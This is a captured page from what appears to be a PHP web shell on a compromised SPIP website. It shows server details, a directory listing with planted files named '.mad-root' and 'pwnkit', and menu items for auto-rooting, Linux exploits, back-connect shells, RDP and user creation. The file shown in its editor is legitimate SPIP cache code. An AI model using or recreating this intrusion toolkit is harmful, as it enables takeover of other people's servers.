Linux webm008.cluster115.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.115.20.8 | : 216.73.216.59
Cant Read [ /etc/named.conf ]
8.1.34
quelfutuu
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
quelfutuu /
www /
grice /
ecrire /
inc /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
acces.php
13.5
KB
-rw----r--
actions.php
5.36
KB
-rw----r--
admin.php
9.46
KB
-rw----r--
auth.php
22.43
KB
-rw----r--
auth_handler.php
300
B
-rw-r--r--
autoriser.php
64.83
KB
-rw----r--
bandeau.php
8.42
KB
-rw----r--
boutons.php
2.49
KB
-rw----r--
charsets.php
28.17
KB
-rw----r--
chercher_logo.php
3.3
KB
-rw----r--
chercher_rubrique.php
11.33
KB
-rw----r--
commencer_page.php
4.49
KB
-rw----r--
completer_traduction.php
2.43
KB
-rw----r--
config.php
13.96
KB
-rw----r--
cookie.php
6.21
KB
-rw----r--
couleurs.php
3.24
KB
-rw----r--
csv.php
3.76
KB
-rw----r--
cvt_autosave.php
4.26
KB
-rw----r--
cvt_configurer.php
7.92
KB
-rw----r--
cvt_multietapes.php
10.15
KB
-rw----r--
definir_menus_favoris.php
1.08
KB
-rw----r--
distant.php
43.91
KB
-rw----r--
documents.php
8.84
KB
-rw----r--
drapeau_edition.php
6.82
KB
-rw----r--
editer.php
22.05
KB
-rw----r--
email_valide.php
1.74
KB
-rw----r--
envoyer_mail.php
7.67
KB
-rw----r--
exporter_csv.php
7.37
KB
-rw----r--
filtres.php
162.08
KB
-rw----r--
filtres_alertes.php
8.29
KB
-rw----r--
filtres_boites.php
4.79
KB
-rw----r--
filtres_dates.php
34.68
KB
-rw----r--
filtres_ecrire.php
17.33
KB
-rw----r--
filtres_images_lib_mini.php
59.89
KB
-rw----r--
filtres_images_mini.php
16.78
KB
-rw----r--
filtres_mime.php
4.72
KB
-rw----r--
filtres_mini.php
6.9
KB
-rw----r--
filtres_selecteur_generique.ph...
8.25
KB
-rw----r--
flock.php
20.88
KB
-rw----r--
genie.php
6.86
KB
-rw----r--
headers.php
7.77
KB
-rw----r--
icone_renommer.php
2.12
KB
-rw----r--
iconifier.php
1.37
KB
-rw----r--
importer_csv.php
4.8
KB
-rw----r--
index.php
2
B
-rw----r--
informer.php
2.95
KB
-rw----r--
install.php
15.69
KB
-rw----r--
invalideur.php
7.99
KB
-rw----r--
journal.php
1.11
KB
-rw----r--
json.php
2.2
KB
-rw----r--
lang.php
14.59
KB
-rw----r--
lang_liste.php
7.23
KB
-rw----r--
layer.php
5.93
KB
-rw----r--
lien.php
8.43
KB
-rw----r--
lien_court.php
1.17
KB
-rw----r--
liens.php
680
B
-rw----r--
lister_objets.php
2.13
KB
-rw----r--
livrer_fichier.php
7.7
KB
-rw----r--
log.php
3.43
KB
-rw----r--
math.php
4.42
KB
-rw----r--
meta.php
9.09
KB
-rw----r--
minipres.php
3.7
KB
-rw----r--
modeles.php
1.42
KB
-rw----r--
modifier.php
11.09
KB
-rw----r--
nfslock.php
11.47
KB
-rw----r--
notifications.php
5.76
KB
-rw----r--
pipelines.php
7.83
KB
-rw----r--
pipelines_ecrire.php
12.04
KB
-rw----r--
plonger.php
3.98
KB
-rw----r--
plugin.php
47.39
KB
-rw----r--
precharger_article.php
2.26
KB
-rw----r--
precharger_objet.php
7.2
KB
-rw----r--
prepare_recherche.php
5.72
KB
-rw----r--
preselectionner_parent_nouvel_...
2.19
KB
-rw----r--
presentation.php
8.63
KB
-rw----r--
presentation_mini.php
8.28
KB
-rw----r--
presenter_enfants.php
6.75
KB
-rw----r--
puce_statut.php
11.94
KB
-rw----r--
pwnkit
0
B
-rwxr-xr-x
queue.php
20.62
KB
-rw----r--
recherche_to_array.php
8.15
KB
-rw----r--
rechercher.php
11.05
KB
-rw----r--
roles.php
12.12
KB
-rw----r--
rubriques.php
28.48
KB
-rw----r--
securiser_action.php
11.99
KB
-rw----r--
selectionner.php
5.27
KB
-rw----r--
session.php
21.59
KB
-rw----r--
simplexml_to_array.php
2.84
KB
-rw----r--
surligne.php
4.14
KB
-rw----r--
svg.php
19.55
KB
-rw----r--
texte.php
11.82
KB
-rw----r--
texte_mini.php
23.49
KB
-rw----r--
traduire.php
11.26
KB
-rw----r--
urls.php
11.05
KB
-rw----r--
utils.php
107.33
KB
-rw----r--
xml.php
7.47
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : invalideur.php
<?php /***************************************************************************\ * SPIP, Système de publication pour l'internet * * * * Copyright © avec tendresse depuis 2001 * * Arnaud Martin, Antoine Pitrou, Philippe Rivière, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribué sous licence GNU/GPL. * \***************************************************************************/ /** * Gestion du cache et des invalidations de cache * * @package SPIP\Core\Cache **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('base/serial'); /** * Si un fichier n'a pas été servi (fileatime) depuis plus d'une heure, on se sent * en droit de l'éliminer */ if (!defined('_AGE_CACHE_ATIME')) { define('_AGE_CACHE_ATIME', 3600); } /** * Évalue approximativement la taille du cache * * Pour de gros volumes, impossible d'ouvrir chaque fichier, * on y va donc à l'estime ! * * @return int Taille approximative en octets **/ function taille_du_cache() { # check dirs until we reach > 500 files $t = 0; $n = 0; $time = $GLOBALS['meta']['cache_mark'] ?? 0; for ($i = 0; $i < 256; $i++) { $dir = _DIR_CACHE . sprintf('%02s', dechex($i)); if (@is_dir($dir) and is_readable($dir) and $d = opendir($dir)) { while (($f = readdir($d)) !== false) { if (preg_match(',^[[0-9a-f]+\.cache$,S', $f) and $a = stat("$dir/$f")) { $n++; if ($a['mtime'] >= $time) { if ($a['blocks'] > 0) { $t += 512 * $a['blocks']; } else { $t += $a['size']; } } } } } if ($n > 500) { return intval(256 * $t / (1 + $i)); } } return $t; } /** * Invalider les caches liés à telle condition * * Les invalideurs sont de la forme 'objet/id_objet'. * La condition est géneralement "id='objet/id_objet'". * * Ici on se contente de noter la date de mise à jour dans les metas, * pour le type d'objet en question (non utilisé cependant) et pour * tout le site (sur la meta `derniere_modif`) * * @global array $derniere_modif_invalide * Par défaut à `true`, la meta `derniere_modif` est systématiquement * calculée dès qu'un invalideur se présente. Cette globale peut * être mise à `false` (aucun changement sur `derniere_modif`) ou * sur une liste de type d'objets (changements uniquement lorsqu'une * modification d'un des objets se présente). * * @param string $cond * Condition d'invalidation * @param bool $modif * Inutilisé **/ function inc_suivre_invalideur_dist($cond, $modif = true) { if (!$modif) { return; } // determiner l'objet modifie : forum, article, etc if (preg_match(',["\']([a-z_]+)[/"\'],', $cond, $r)) { $objet = objet_type($r[1]); } // stocker la date_modif_$objet (ne sert a rien pour le moment) if (isset($objet)) { ecrire_meta('derniere_modif_' . $objet, time()); } // si $derniere_modif_invalide est un array('article', 'rubrique') // n'affecter la meta que si un de ces objets est modifie if (is_array($GLOBALS['derniere_modif_invalide'])) { if (in_array($objet, $GLOBALS['derniere_modif_invalide'])) { ecrire_meta('derniere_modif', time()); } } // sinon, cas standard, toujours affecter la meta else { ecrire_meta('derniere_modif', time()); } } /** * Purge un répertoire de ses fichiers * * Utilisée entre autres pour vider le cache depuis l'espace privé * * @uses supprimer_fichier() * * @param string $dir * Chemin du répertoire à purger * @param array $options * Tableau des options. Peut être : * * - atime : timestamp pour ne supprimer que les fichiers antérieurs * à cette date (via fileatime) * - mtime : timestamp pour ne supprimer que les fichiers antérieurs * à cette date (via filemtime) * - limit : nombre maximum de suppressions * @return int * Nombre de fichiers supprimés **/ function purger_repertoire($dir, $options = []) { if (!is_dir($dir) or !is_readable($dir)) { return 0; } // sur certains sites on veut absolument garder certains caches référencés dans un CDN // on peut donc inhiber la purge de ces répertoires pour eviter tout probleme if (file_exists(rtrim($dir, '/') . '/inhib_purger_repertoire.txt')) { return 0; } $handle = opendir($dir); if (!$handle) { return 0; } $total = 0; while (($fichier = @readdir($handle)) !== false) { // Eviter ".", "..", ".htaccess", ".svn" etc & CACHEDIR.TAG if ($fichier[0] == '.' or $fichier == 'CACHEDIR.TAG') { continue; } $chemin = "$dir/$fichier"; if (is_file($chemin)) { if ( (!isset($options['atime']) or (@fileatime($chemin) < $options['atime'])) and (!isset($options['mtime']) or (@filemtime($chemin) < $options['mtime'])) ) { supprimer_fichier($chemin); $total++; } } else { if (is_dir($chemin)) { $opts = $options; if (isset($options['limit'])) { $opts['limit'] = $options['limit'] - $total; } $total += purger_repertoire($chemin, $opts); if (isset($options['subdir']) && $options['subdir']) { spip_unlink($chemin); } } } if (isset($options['limit']) and $total >= $options['limit']) { break; } } closedir($handle); return $total; } // // Destruction des fichiers caches invalides // // Securite : est sur que c'est un cache function retire_cache($cache) { if ( preg_match( ',^([0-9a-f]/)?([0-9]+/)?[0-9a-f]+\.cache(\.gz)?$,i', $cache ) ) { // supprimer le fichier (de facon propre) supprimer_fichier(_DIR_CACHE . $cache); } else { spip_log("Nom de fichier cache incorrect : $cache"); } } // Supprimer les caches marques "x" // A priori dans cette version la fonction ne sera pas appelee, car // la meta est toujours false ; mais evitons un bug si elle est appellee function inc_retire_caches_dist($chemin = '') { if (isset($GLOBALS['meta']['invalider_caches'])) { effacer_meta('invalider_caches'); } # concurrence } ####################################################################### ## ## Ci-dessous les fonctions qui restent appellees dans le core ## pour pouvoir brancher le plugin invalideur ; ## mais ici elles ne font plus rien ## function retire_caches($chemin = '') { if ($retire_caches = charger_fonction('retire_caches', 'inc', true)) { return $retire_caches($chemin); } } // Fonction permettant au compilo de calculer les invalideurs d'une page // (note: si absente, n'est pas appellee) function calcul_invalideurs($corps, $primary, &$boucles, $id_boucle) { if ($calcul_invalideurs = charger_fonction('calcul_invalideurs', 'inc', true)) { return $calcul_invalideurs($corps, $primary, $boucles, $id_boucle); } return $corps; } // Cette fonction permet de supprimer tous les invalideurs // Elle ne touche pas aux fichiers cache eux memes ; elle est // invoquee quand on vide tout le cache en bloc (action/purger) // function supprime_invalideurs() { if ($supprime_invalideurs = charger_fonction('supprime_invalideurs', 'inc', true)) { return $supprime_invalideurs(); } } // Calcul des pages : noter dans la base les liens d'invalidation function maj_invalideurs($fichier, &$page) { if ($maj_invalideurs = charger_fonction('maj_invalideurs', 'inc', true)) { return $maj_invalideurs($fichier, $page); } } // les invalideurs sont de la forme "objet/id_objet" function insere_invalideur($inval, $fichier) { if ($insere_invalideur = charger_fonction('insere_invalideur', 'inc', true)) { return $insere_invalideur($inval, $fichier); } } // // Marquer les fichiers caches invalides comme etant a supprimer // function applique_invalideur($depart) { if ($applique_invalideur = charger_fonction('applique_invalideur', 'inc', true)) { return $applique_invalideur($depart); } } // // Invalider les caches liés à telle condition // function suivre_invalideur($cond, $modif = true) { if ($suivre_invalideur = charger_fonction('suivre_invalideur', 'inc', true)) { return $suivre_invalideur($cond, $modif); } }
Close